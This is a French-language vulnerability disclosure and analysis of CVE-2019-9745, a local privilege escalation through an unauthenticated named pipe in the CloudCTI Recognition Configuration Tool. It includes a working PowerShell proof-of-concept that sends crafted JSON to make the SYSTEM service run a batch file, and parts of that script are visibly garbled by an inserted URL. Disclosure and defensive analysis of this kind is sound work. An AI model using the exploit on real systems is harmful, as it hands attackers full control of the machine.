
Analyse de la vulnérabilité CVE-2019-9745.
La créativité est au cœur du test de pénétration, ce qui rend notre travail intéressant. Cependant, un écueil est la tendance à « sur-ingénier » les scénarios d'attaque et à se concentrer uniquement sur les bugs (conditions d'erreur). Les défauts (comportements non intentionnels) peuvent cependant être présents avec des résultats tout aussi dévastateurs. Cet article propose une étude de cas pour démontrer l'importance du test de pénétration pour ces défauts. Simultanément, il plaide pour l'emploi d'un processus SDLC (Cycle de Développement Sécurisé).
Cet article fait partie de la RD (divulgation responsable) de la vulnérabilité CVE-2019-9745 et a été rédigé en étroite coopération avec le fournisseur CloudCTI. Il donne un aperçu de haut niveau de la vulnérabilité avant de plonger dans les détails techniques. Après avoir démontré l'exploitation de la vulnérabilité, une conclusion est fournie avec les leçons apprises.
L'outil CloudCTI Recognition Configuration Tool que nous avons examiné lors d'un de nos tests de pénétration est utilisé pour récupérer des informations à partir de logiciels CRM (Gestion de la Relation Client). Cela fournit au personnel du centre d'appels des informations pertinentes pendant les appels clients. Plusieurs problèmes ont été identifiés qui peuvent être enchaînés pour compromettre complètement le système local. Le fournisseur tient à souligner que cela n'affecte pas les systèmes des autres clients ni les siens.
Comme pour de nombreuses vulnérabilités de sécurité, un problème important réside dans la validation des données provenant de l'extérieur de votre sphère d'influence. Il est tout aussi important de réaliser que les systèmes et les logiciels opèrent dans des environnements hostiles. Le temps et l'expérience nous ont appris que l'écoute clandestine est une menace sur Internet. Il en va de même pour les autres canaux de communication, même à l'intérieur d'un système lui-même. Cela a été déterminant dans la découverte de la vulnérabilité.
Une analyse des causes profondes des problèmes rencontrés montre l'importance de pratiques telles que la TM (modélisation des menaces). La TM aide à identifier les risques lors des premières étapes de conception et de développement. Cela peut conduire à l'atténuation des risques inacceptables ou à une refonte/réimplémentation. Bien que le lecteur soit encouragé à effectuer sa propre analyse, des descriptions des contre-mesures du fournisseur sont fournies à titre de référence.
Le logiciel du fournisseur se compose de quatre applications qui fonctionnent ensemble. La première application est l'interface utilisateur graphique (GUI). Celle-ci permet à l'utilisateur de lancer la récupération d'informations à partir de plusieurs progiciels CRM :
La GUI délègue la récupération d'informations à un service (la deuxième application) en envoyant un message. Les premiers problèmes de sécurité se manifestent ici : non seulement toute personne sur le système peut observer les messages entre la GUI et le service pour déterminer leur format et leur contenu (ce qui affecte la confidentialité), mais elle peut également envoyer ses propres messages (ce qui affecte l'autorisation). De plus, la source des messages au service n'est pas vérifiée (ce qui affecte la non-répudiation). Dans la terminologie de la modélisation des menaces STRIDE, cela signifie que le système est sujet à la divulgation d'informations et à la falsification. En effet, les informations glanées à partir de ces messages ont été déterminantes dans la découverte de la vulnérabilité.
La troisième application est l'un des nombreux importateurs spécialisés. Le service délègue la récupération d'informations pour un progiciel CRM spécifique à un importateur spécifique. Le message envoyé par la GUI contient des instructions spécifiques pour cet importateur. En examinant l'importateur CRM Exquise, il s'avère que la récupération d'informations est davantage déléguée à une application externe (quatrième). En analysant la logique interne de l'importateur, on a découvert que l'application externe pouvait être spécifiée dans le message entre la GUI et le service. Le problème qui se manifeste ici est que l'application externe est exécutée sans vérifier son identité (ce qui affecte la non-répudiation).
En enchaînant ces problèmes, nous avons pu écouter les messages pour déterminer leur format et envoyer un message dans lequel nous spécifions notre propre application externe malveillante. Cette application externe est exécutée avec les mêmes privilèges que l'importateur/service. Comme ces privilèges sont les plus élevés possibles dans le système, un contrôle total est obtenu et le système est compromis.
Ces problèmes sont atténués par le fournisseur en chiffrant les messages (atténuant le problème de confidentialité) par l'utilisation de secrets partagés uniques (atténuant le problème d'autorisation) qui ne peuvent être consultés que par les utilisateurs authentifiés du système qui les possèdent (atténuant le premier problème de non-répudiation). Enfin, l'application externe est signée cryptographiquement (atténuant le second problème de non-répudiation). La combinaison de ces mesures atténue avec succès la vulnérabilité.
Lorsque l'application GUI CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) est installée, elle est examinée avec Process Explorer. Cela révèle qu'un service compagnon (Recognition Update Client Service) est installé et exécuté avec les droits NT AUTHORITY\SYSTEM :
En examinant l'exécutable du service (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe), il apparaît qu'il est développé en utilisant le langage de programmation .NET. Celui-ci peut être décompilé à l'aide de dnSpy pour obtenir un aperçu de sa logique interne, qui sera détaillée ci-dessous.
RUCS2017Service (l'espace de noms .NET interne dans l'exécutable du service) s'avère être une fine couche autour de l'espace de noms RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Celui-ci définit un serveur Named Pipe nommé RUCS20151029 à l'adresse RUCS2017.dll:RUCS2017.TRUCS2017:902 :
Ce serveur de pipe nommé est démarré à RUCS2017.dll:RUCS2017.TRUCS2017:833 :
La ligne unique Powershell suivante est utilisée pour confirmer que ce pipe est bien actif sur le système :``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"
\.\pipe\RUCS20151029
En utilisant [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk), les droits d'accès du tube sont examinés. Grâce à cela, il est découvert que le tube peut être lu (*R*) et écrit (*W*) par tout utilisateur système (*Everyone*):```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029
RW Everyone
RW BUILTIN\Administrators
Lorsque la fonctionnalité Ajouter une application dans l'interface graphique est utilisée (voir Figure 01), le trafic non chiffré suivant est observé sur le pipe nommé à l'aide d'IO Ninja :
Ceci contient les données JSON suivantes :```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }
Le traitement des messages sur le pipe est basé sur des [événements](https://docs.microsoft.com/en-us/dotnet/standard/events/) et est souscrit dans le constructeur du service à *RUCS2017.dll:RUCS2017.TRUCS2017:803* :

**<div style="text-align: right">Figure 06</div>**
Dans cette fonction, le JSON est d'abord désérialisé à *RUCS2017.dll:RUCS2017.TRUCS2017:267* :

**<div style="text-align: right">Figure 07</div>**
La logique spécifique pour traiter la structure de message JSON *WizardGetData* se trouve à *RUCS2017.dll:RUCS2017.TRUCS2017:315* sous le cas de l'énumération *TFerbCommandType.WizardGetData* :

**<div style="text-align: right">Figure 08</div>**
Un gestionnaire de tâches démarre ensuite un nouveau thread à *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* en passant la structure de message analysée :

**<div style="text-align: right">Figure 09</div>**
Le *DatasourceType* (pour un package CRM spécifique) est chargé dynamiquement à *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177* :

**<div style="text-align: right">Figure 10</div>**
Ce qui charge le fichier *.dll* défini dans *json.conf:17* :

**<div style="text-align: right">Figure 11</div>**
Le traitement ultérieur du message est ensuite délégué au plugin *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* à *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* (*Figure 10*).
*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* dérive de *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). Celui-ci dérive à son tour de *CloudCTI.Datasources.RUS2015.DatasourceBase* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). On trouve l'implémentation de la méthode *GetData* à *CloudCTI.Datasources.RUS2015.DatasourceBase:133* qui appelle *initializeDatasource* à *CloudCTI.Datasources.RUS2015.DatasourceBase:142* :

**<div style="text-align: right">Figure 12</div>**
Ceci appelle à son tour *DatasourceInitialize* à *CloudCTI.Datasources.RUS2015.DatasourceBase:598* :

**<div style="text-align: right">Figure 13</div>**
Tout d'abord, le message JSON est analysé à *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24* :

**<div style="text-align: right">Figure 14</div>**
La structure de ce message est définie dans la classe *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings*. Cette classe contient également la propriété *ExporterApplication* qui nous est d'un grand intérêt :

**<div style="text-align: right">Figure 15</div>**
À *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (voir *figure 14*), on vérifie si *ExporterApplication* est défini dans le message. Si ce n'est pas le cas, une application par défaut est utilisée, sinon l'application externe du message est utilisée. <span style='color:red'>**C'est ici que la vulnérabilité se manifeste**</span>. À *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (voir *Figure 14*), la méthode *createExportFile* est appelée, laquelle démarre l'application externe précédemment déterminée (ligne *73*) :

**<div style="text-align: right">Figure 16</div>**
# L'exploitation #
Comme le processus du service (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) s'exécute avec les droits *NT AUTHORITY\SYSTEM*, il a accès à **tous** les aspects du système, que nous avons maintenant également via la propriété *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication*. Lorsque celle-ci est insérée dans le message, le modèle JSON suivant en résulte :```JSON
{
"Command":"WizardGetData",
"Params":
{
"ReturnSize":RETURN_SIZE,
"DatasourceType":"exquise exporter",
"DatasourceSettings":
{
"ExquiseFolder":"FOLDER_NAME",
"ExporterApplication":"APPLICATION_NAME"
}
},
"Id":"RANDOM_VALUE"
}
Par essais&erreurs, il s'avère que l'ExporterApplication peut être un script batch qui ne nécessite pas de téléchargement de ressources supplémentaires et peut être placé dans un répertoire (utilisateur) contrôlé par un utilisateur disposant de privilèges faibles (voire inférieurs). Comme tous les utilisateurs peuvent écrire dans le tube nommé RUCS20151029, le script PowerShell suivant est utilisé pour envoyer du JSON conçu au tube nommé :
CVE-2019-9745.ps1:```powershell
add-Type -assembly "System.Core"
New-Item -ItemType directory -Path data -Force > $null
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'
$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()
Le script batch suivant est spécifié dans le message JSON en tant qu'application externe (*ExporterApplication*). En guise de preuve de concept, le nom de l'utilisateur qui l'exécute est écrit dans un fichier. Bien sûr, cela peut être remplacé par n'importe quelle commande (séquence).
**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log
Lorsque le message est envoyé par un utilisateur normal (faiblement privilégié) (en utilisant CVE-2019-9745.ps1), on peut effectivement voir que CVE-2019-9745.bat est exécuté avec des privilèges élevés (NT Authority\SYSTEM) :
D'un point de vue test d'intrusion, tester les défauts dans la logique (métier) d'un système peut représenter un investissement de temps significatif. Étant donné que la plupart des tests d'intrusion sont des tests en boîte noire (par opposition aux tests en boîte blanche), cela implique généralement du rétro-ingénierie. Cependant, comme démontré, les défauts peuvent être tout aussi dévastateurs que les bogues. Pour cette raison, une approche à deux volets testant à la fois les bogues et les défauts est fortement recommandée.
Du point de vue d'un fournisseur, il est important de non seulement se demander 'comment nos produits peuvent être utilisés' mais aussi 'comment peuvent-ils être abusés'. Le SDLC (Secure Development Lifecycle) peut aider avec la gestion des risques lors des différentes étapes du cycle de vie d'un produit : les exigences de sécurité, l'architecture et un modèle de menace aident à la phase de conception haut et bas niveau. L'analyse statique/dynamique de code et la relecture par les pairs aident au processus de développement. Enfin, le test d'intrusion fournit un audit (indépendant). Bien sûr, les résultats de ces processus doivent être mis en regard avec un appétit pour le risque. D'un point de vue financier, diverses études (The Business Case for Security in the SDLC) ont conclu que traiter les défauts (de sécurité) dans les premières étapes du cycle de vie d'un produit est plus rentable que la correction ultérieure. Cela signifie qu'investir dans le SDLC peut réduire le TCO (Coût Total de Possession) à long terme.
En reliant les deux perspectives, il est important de continuer à investir dans la sensibilisation à la sécurité sur tous les fronts grâce à la formation et à l'éducation. Cela garantit que toutes les parties sont à jour sur les opportunités et les risques de sécurité dans le domaine informatique qui continuent d'évoluer rapidement. Ainsi, nous pouvons tous contribuer à une société plus sûre.
Le score CVSS que nous avons attribué à cette vulnérabilité est de 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).